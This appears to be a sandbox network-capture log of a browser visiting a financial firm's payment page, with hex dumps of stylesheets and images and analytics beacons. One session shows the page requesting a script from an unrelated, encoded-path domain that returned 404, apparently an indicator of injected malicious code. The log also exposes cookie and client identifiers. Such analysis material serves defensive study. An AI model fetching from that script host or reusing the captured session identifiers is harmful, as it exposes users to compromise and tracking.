2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 68 61 73 2d 61 6c 70 68 61 2d 63 68 61 6e 6e 65 6c 2d 6f 70 61 63 69 74 79 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 77 69 64 74 68 3a 31 30 30 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 64 6f 74 73 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 31 70 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 70 61 72 61 74 6f 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 77 69 64 65 29 3a 6e 6f 74 28 2e 69 73 Data Ascii: has-alpha-channel-opacity{opacity:1}.wp-block-separator:not(.is-style-wide):not(.is-style-dots){width:100px}.wp-block-separator.has-background:not(.is-style-dots){border-bottom:none;height:1px}.wp-block-separator.has-background:not(.is-style-wide):not(.is
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 3a 20 23 66 63 62 39 30 30 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 37 62 64 63 62 35 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 30 30 64 30 38 34 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 63 79 61 6e 2d 62 6c 75 65 3a 20 23 38 65 Data Ascii: ivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8e
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 32 35 34 2c 34 35 2c 34 35 29 20 35 30 25 2c 72 67 62 28 31 30 37 2c 30 2c 36 32 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 30 33 2c 31 31 32 29 20 30 25 2c 72 67 62 28 31 39 39 2c 38 31 2c 31 39 32 29 20 35 30 25 2c 72 67 62 28 36 35 2c 38 38 2c 32 30 38 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 35 35 2c 32 34 35 2c 32 30 33 29 20 30 25 2c 72 67 62 28 31 38 32 2c 32 32 37 2c 32 31 32 29 20 35 Data Ascii: 254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.4	50165	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:49 UTC	648	OUT	GET /wp-content/uploads/2017/05/About_banner_284262254-2.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/payment/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:49 UTC	716	IN	HTTP/1.1 200 OK Connection: close Content-Length: 188820 content-type: image/jpeg x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "593269a2-2e194" last-modified: Sat, 03 Jun 2017 07:47:46 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:49 GMT X-Served-By: cache-ewr18182-EWR, cache-ewr18133-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867749.250241,VS0,VE61 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2a 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifIIDucky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xm
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 0b 50 0b 6a 00 b5 00 5a 85 0b 50 82 d0 05 a8 50 b5 00 5a 80 5b 50 05 a8 02 d4 01 6a 00 b5 00 5a 84 0b 50 40 5a 80 2d 40 16 a1 02 d4 2a 0b 50 a1 6a 00 b5 08 16 a1 42 86 44 b5 00 5a 80 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 25 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 25 a8 02 d4 01 6a a0 2d 40 25 a8 02 d5 40 5a a0 0b 50 05 aa 80 b5 00 5a 80 2d 50 05 aa 90 4b 50 a1 6a 00 b5 00 5a 80 2d 40 16 a0 0b 50 09 6a 00 b5 00 5a 84 0b 50 a1 6a 00 b5 00 96 a0 0b 50 05 a8 02 d4 02 5a 80 2d 40 16 a0 24 8d 54 8d 4f 89 b7 81 f0 e9 5f 2f ee 6f e1 f5 9f 43 b0 fe 21 51 0d 8d 9a d7 3e 22 be 4d 99 f4 d2 0b 96 1a 49 61 7b 1d c0 0f dd 54 b0 26 c6 bb 14 2a cc 0d 88 b6 df df 56 49 02 34 48 55 94 00 e6 df 67 ed bd 6a 4c 8b 38 3a 5f dd fb ab e9 fd b7 f8 bd 47 ce fb 87 1a Data Ascii: PjZPPZ[PjZP@Z-@PjBDZ-@PjZ-@%jZ-@%j-@%@ZPZ-PKPjZ-@PjZPjPZ-@$TO_/oC!Q>"MIa{T&VI4HUgjL8:_G
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 4b 50 06 da 00 b5 00 96 aa 02 d4 02 5a 80 2d 40 21 14 01 6a 01 2d 40 16 a0 12 d4 01 6a 01 2d 40 26 da 00 b5 50 25 a8 02 d4 02 6d a0 12 df 85 00 9b 68 02 d4 02 5a 80 42 2f 54 a2 11 40 16 a0 10 ad 00 96 aa 04 db 40 25 a8 00 8a 01 a4 0a 00 b5 00 96 a0 3a 0b 57 98 a1 6a 00 b5 00 5a 80 2d 40 16 a1 18 96 a0 0b 50 05 aa 80 b5 41 01 6a a0 28 02 d4 40 2d 40 16 a0 0b 50 05 a8 02 d4 90 14 01 6a 00 b5 00 5a 84 0a 00 b5 0a 16 a0 0b 50 05 a8 41 6d 40 16 a0 00 28 02 80 2d 40 16 a0 0b 50 05 a8 05 b5 00 54 01 6a 00 b5 00 b6 a0 0b 50 0b 6a 00 b5 00 b6 a0 0b 50 0b 6a 00 b5 00 b6 a0 0b 50 0b 6a 01 6d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 db 52 40 5a ac 80 b5 49 01 6a a0 5b 54 01 6a 00 b5 50 2d aa 00 b5 00 5a a8 0b 50 05 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 2d a8 04 b5 00 b6 a0 Data Ascii: KPZ-@!j-@j-@&P%mhZB/T@@%:WjZ-@PAj(@-@PjZPAm@(-@PTjPjPjPjm@PjR@ZIj[TjP-ZPjZ-@-
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 79 87 e2 2b 6a e8 c3 a9 11 89 c1 d4 7f db ef ab b9 32 34 c6 31 55 2a 1c 85 2e 6c 81 8d 8b 1b 5e cb 7e ba 0b e9 54 82 da 80 5b 50 09 6a 01 6d 40 25 a8 02 d4 01 6a 01 6d 40 16 a0 0b 50 05 a8 05 b5 00 5a 80 2d 40 16 a0 16 d4 01 6a 00 b5 00 5a 80 2d 49 01 6a 00 b5 00 5a 80 2d 40 16 a4 80 b5 00 5a 80 2d 40 16 a4 80 b5 00 5a 80 2d 40 16 aa 02 d5 00 96 aa 03 6d 24 05 aa 10 36 d5 01 6a 00 db 52 4a 1b 6a c9 04 b5 24 81 b6 85 0b 50 06 da 08 0d b4 20 9b 68 50 b5 08 1b 68 03 6d 00 5a 80 4b 50 05 a8 02 d4 28 6d a1 02 d4 01 6a 00 b5 00 5a 80 2d 40 16 aa 02 d4 02 5a 80 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 01 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 01 2d 40 2e da 01 36 d0 05 a8 07 28 d4 5f 41 63 af df 5f 27 ee 3f 1a f4 1f 53 b0 5e eb f4 8f 3b 75 b7 fe 8a f9 c7 bc 4b 0d 2d 7b Data Ascii: y+j241U*.l^~T[Pjm@%jm@PZ-@jZ-IjZ-@Z-@Z-@m$6jRJj$P hPhmZKP(mjZ-@Z-@Pj-@Pj-@.6(_Ac_'?S^;uK-{
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 17 f0 fe 6c 25 e1 99 96 cf 92 9a 1d c4 7a 71 f5 1a fb 28 f0 5b e6 fc 91 3e a2 bf 2f e6 c1 38 f6 04 9f 58 29 27 ff 00 57 1e bf ec d3 c9 b7 cf f9 22 79 d4 f9 7f 36 12 70 d9 32 36 ef 9a b2 de e3 c8 9e 3f e8 d5 f2 2c ff 00 8d fb 17 ec 0b b8 a2 fe 0f cd 8d 3c 64 aa c8 a6 73 6f 68 8a 32 01 1f e8 d6 5e 2b 70 dc fd 8b f6 1a 59 ab 13 b5 7b 58 8d c4 cc 2c 4c e4 00 6e 07 a5 1f 9b db 7b 2d 57 86 df 33 f6 2f d8 45 9e af f8 57 b5 92 b6 03 59 54 49 b8 11 fc 91 91 f8 6d ad 79 16 7f c4 ff 00 2f d8 67 cf af 3a fe 6f f6 90 8e df 81 b7 6e 98 dd ba 80 a9 a7 bb e1 ac 7d 33 f9 bf 47 ec 37 f5 49 7f 0f e6 c9 62 e0 84 6b b6 29 b6 83 7b 8d 89 ad cd ef f0 d6 eb 82 cb f8 bf 41 8b 77 15 7f c1 fa 49 53 8b 9a d7 19 6c a2 fe 0b 1f 87 fa 35 b5 8a df 37 e8 30 f3 53 e5 5f 9f ed 27 38 33 6d Data Ascii: l%zq([>/8X)'W"y6p26?,<dsoh2^+pY{X,Ln{-W3/EWYTImy/g:on}3G7Ibk){AwISl570S_'83m
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: d6 82 cc 57 ad f7 3d 89 f1 d3 a5 4d d0 4d 8e dc 07 c5 2b 4c f6 50 55 6d fe 25 ac 07 e3 d4 d5 56 9e 04 74 db c4 92 52 a0 81 ba ca 2d b8 7b 3d 9f 8d 1b 25 54 eb 04 33 46 63 bc c9 76 27 50 00 26 c3 a7 4a c3 d0 e9 5d 74 1a 1d 99 82 95 bd 81 d4 83 a1 b6 97 35 8d d3 c0 ea a8 d7 12 cc 11 21 8c 83 ab 5a c5 bc 6e 7c 6b 4a 1a 32 e5 31 e4 7a 46 e1 7c a4 0b 9b 75 35 1d a0 6d 91 36 bc 8a c7 6e d2 48 b1 b7 51 49 92 ed 80 f9 75 05 1b 6d ac 6e 7e cf 7d 1a 24 ce 82 7a cc 82 c5 1b dd e5 24 9f c2 9e 67 80 f2 a7 99 1b b1 05 9d 81 50 c0 79 49 d0 7b eb 2d ce ac dd 54 68 86 45 39 72 55 9c 30 23 4b 75 b0 f1 ae 6a cd f1 37 6a a5 c1 0e 33 14 70 a5 49 b0 1e 60 2e 0f e1 5d eb 76 91 c9 e3 4f 83 26 00 ba 29 65 2a b7 bb 0b 5a e2 ac c9 36 c7 31 7d 1c 87 6b 25 96 3b 82 17 f9 81 ea 0d 23 Data Ascii: W=MM+LPUm%VtR-{=%T3Fcv'P&J]t5!Zn\|kJ21zF\|u5m6nHQIumn~}$z$gPyI{-ThE9rU0#Kuj7j3pI`.]vO&)e*Z61}k%;#
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: c9 b6 b8 33 aa 55 7c bf 32 e8 88 85 0c ae 75 d7 e1 ff 00 2d 6e 5f 5f c8 e3 a7 4f cc 85 d6 50 ec 7d 46 eb 61 a0 e9 59 6e dd 7f 23 a2 55 8e 02 04 95 ae 0c a7 c7 aa 8d 68 9d ba fe 42 2b d3 f3 0b 4d 60 37 91 7e 80 a8 b5 37 5b af e4 36 d7 a0 49 8f 0a 9d ee a1 9c 8e 9b 47 ee a0 4e 78 0d 58 92 da 28 b0 f2 fc 0a 3e ed 28 56 4d 1c 31 f5 51 b4 0f cb 61 f8 d6 d3 39 db c4 7e d2 74 06 de fb 0a 6e 64 84 29 54 bf 8d c1 b7 41 57 71 20 95 61 57 5d cc d7 3d 35 02 f5 a4 df 53 0e 27 80 d9 94 05 03 71 37 3d 34 a9 2c a9 27 c8 6a c6 35 d4 8b 0b d5 4d f5 0d 2e 82 38 36 f8 9a c7 ec ab 2f a9 88 5d 08 d8 6d 27 69 20 7b 40 15 ad 7a 99 d0 6b 23 90 18 4a 49 06 f6 b2 9d 6b 75 93 95 a3 a1 3a 89 88 3b 82 48 2c 75 d5 5a de 3d 6f 51 b3 55 48 8e 18 1c 48 ad 20 22 34 37 45 03 a7 de b7 d2 d5 Data Ascii: 3U\|2u-n__OP}FaYn#UhB+M`7~7[6IGNxX(>(VM1Qa9~tnd)TAWq aW]=5S'q7=4,'j5M.86/]m'i {@zk#JIku:;H,uZ=oQUHH "47E
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: 00 5a 85 0b 50 06 da 00 b5 00 5a 84 0b 50 05 a8 02 d4 01 6a 00 b5 00 5a 80 2d 40 16 a0 0b 50 a1 6a 10 2d 40 16 a0 0b 50 05 a8 04 b5 00 5a 80 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 db 40 25 a8 02 d4 01 6a 00 b5 00 5a 80 4b 50 05 a8 02 d4 01 6a 00 b5 50 16 a8 02 d4 01 6a 01 2d 54 05 a8 05 b5 40 25 a8 02 d4 01 6a a0 2d 40 16 a0 0b 50 05 a8 02 d4 01 6a 00 b5 00 96 a0 17 41 d6 d7 0a 35 d3 4d 3d f5 f1 fb df f7 1f a0 fa bd 9f fb 7e b1 05 c8 56 bd f4 f1 f7 fb 45 78 8f 60 ab a9 d6 f7 bf 8d 54 06 9f 3e e4 64 05 6f a8 bd af 51 94 53 6d c5 4a f4 1d 6d e5 fc 6a a2 0e 23 f4 92 c2 c2 dd 2b df d8 fc 7e a3 c5 df 7c 1e b2 3b 57 d5 93 e5 81 5a a0 4b 50 05 a8 02 d4 01 6a 01 2d 40 1b 68 02 d4 02 5a 80 2d 54 05 aa 00 b5 50 25 a8 02 d4 01 6a 01 2d 40 16 a0 0b 50 09 b6 85 0b 55 Data Ascii: ZPZPjZ-@Pj-@PZ-@Pj@%jZKPjPj-T@%j-@PjA5M=~VEx`T>doQSmJmj#+~\|;WZKPj-@hZ-TP%j-@PU
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: a0 12 d4 01 6a 01 2d 40 1b 68 04 b5 00 6d a4 80 b5 00 96 a0 0d b4 08 4b 55 01 b6 85 0b 50 09 b6 80 36 d0 90 16 a1 44 db 40 16 a0 13 6d 00 6d a0 13 6d 00 6d a0 12 d4 01 b6 80 4b 50 a1 6a a4 0b 54 02 5a 85 14 25 00 a2 3a 49 60 4f 4c d0 0d 2b 54 83 76 d0 16 e2 ce 21 08 78 5d 48 3b ad 23 a8 7b 3e a0 6d d4 e9 e3 5e 2c 49 d6 b0 db 67 4b 56 59 0e 67 27 26 c9 71 d2 09 62 96 4b 45 1e 44 6e 8d b0 bd ae e2 df ca 3f c9 5a b5 b4 2d 71 ea 18 5c 86 4a c5 1e 3c d8 b3 4b 2c 60 c6 d9 32 3a 0f 50 ad f6 b7 bc 91 61 7a 95 bb e8 2d 8d 75 24 8b 9a 8a 54 32 43 03 cb 1a b9 42 55 d4 1d c9 f1 ed 04 02 76 9d 2a ac 93 aa 16 c4 d7 12 7c 7e 72 58 72 1a 69 22 9a 58 a6 be dc 5b af e9 15 e9 72 74 17 e9 a5 79 9e 33 d5 5c b0 8b 70 f7 54 61 f6 fc b0 23 6d c9 f5 93 4f 68 3a 75 1d 2b 2b 17 89 Data Ascii: j-@hmKUP6D@mmmmKPjTZ%:I`OL+Tv!x]H;#{>m^,IgKVYg'&qbKEDn?Z-q\J<K,`2:Paz-u$T2CBUv*\|~rXri"X[rty3\pTa#mOh:u++
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: de b0 e6 34 67 1f e5 d6 69 14 c9 14 73 7a 88 e0 5f 40 47 42 7d b5 ad a9 a9 44 f3 ec b4 65 ae 33 3b 37 8f 59 d3 19 22 6c 79 08 91 c4 8e c5 bd 43 a3 15 03 c3 f7 d4 da 91 9f 31 97 87 70 72 3e a3 79 60 75 fc 80 6e dc de d1 6b e9 b6 b6 aa 8c bc d6 2b e5 67 e6 b6 50 cf 68 e3 5c ac 71 ff 00 0c 6e c0 04 6b f9 1e dd 41 be b5 1a 81 bd b1 1b b9 b9 48 f1 44 8d 0c 53 4c cd b0 45 0d ec 0b 1f 2c 85 98 fc 0a 35 6f 1a 38 41 5d b6 19 7c ae 46 6e 1b e2 4c b0 3c 12 90 93 29 dc 0b ad c1 d0 1f b3 c6 b4 d2 e0 65 5d 89 81 cc 67 62 a4 78 d3 18 57 1e 3b c7 14 83 7b 3a aa fc 01 ef fb eb 74 f1 fd 26 2c d9 76 5e e4 9e f6 85 f1 c1 d6 c6 50 c0 2d bd e3 ad 4b 55 75 2d 72 5b a1 95 83 cc e4 61 64 48 f8 a3 18 c9 96 77 e4 a9 2d e6 96 e6 c5 6d 6e b7 d4 9a c2 48 db b3 e2 6b 8e e5 c9 5c a6 c6 Data Ascii: 4gisz_@GB}De3;7Y"lyC1pr>y`unk+gPh\qnkAHDSLE,5o8A]\|FnL<)e]gbxW;{:t&,v^P-KUu-r[adHw-mnHk\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.4	50166	88.119.175.92	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:49 UTC	590	OUT	GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1 Host: welcome.visionaryyouth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/payment/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:55 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 11 Apr 2024 20:35:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-11 20:35:55 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-04-11 20:35:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.4	50168	216.239.36.181	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:49 UTC	1472	OUT	POST /g/collect?v=2&tid=G-E1ZB2L7Z3V&gtm=45je44a0v881606118za200&_p=1712867740458&gcd=13l3l3l3l1&npa=0&dma=0&cid=118679924.1712867743&ul=en-us&sr=1280x1024&ir=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&are=1&pae=1&pscdl=noapi&_eu=EEA&_s=2&sid=1712867743&sct=1&seg=0&dl=https%3A%2F%2Fbfjfinancialgroup.smartvault.com%2Fsecure%2FSignIn.aspx%3FReturnUrl%3D%252fusers%252fsecure%252fHome.aspx&dt=SmartVault%20%3A%20Sign%20In&en=scroll&epn.percent_scrolled=90&_et=7&tfd=10756 HTTP/1.1 Host: analytics.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bfjfinancialgroup.smartvault.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=KJ_tlYS8RoWe7-Wj9_-4O7JXRHhOfs8A8O-xBHK8Tw1Tf3uIdoBJIo2rMpOPgBAi7HAJGtrKObe52n08PvHHy8A38W8M4IuigqbwzFeApbtdrvJaVDBGT7b4xgVbQdRVEgS9QN4nnbqL5mOSvxeKoVraQFN4jdVTVRbzBLcncgo
2024-04-11 20:35:49 UTC	466	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://bfjfinancialgroup.smartvault.com Date: Thu, 11 Apr 2024 20:35:49 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	50169	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:49 UTC	399	OUT	GET /wp-content/uploads/2017/05/About_banner_284262254-2.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:49 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 188820 content-type: image/jpeg x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "593269a2-2e194" last-modified: Sat, 03 Jun 2017 07:47:46 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:49 GMT X-Served-By: cache-ewr18182-EWR, cache-ewr18169-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867750.931863,VS0,VE2 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:49 UTC	1378	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 2a 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifIIDucky<http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xm
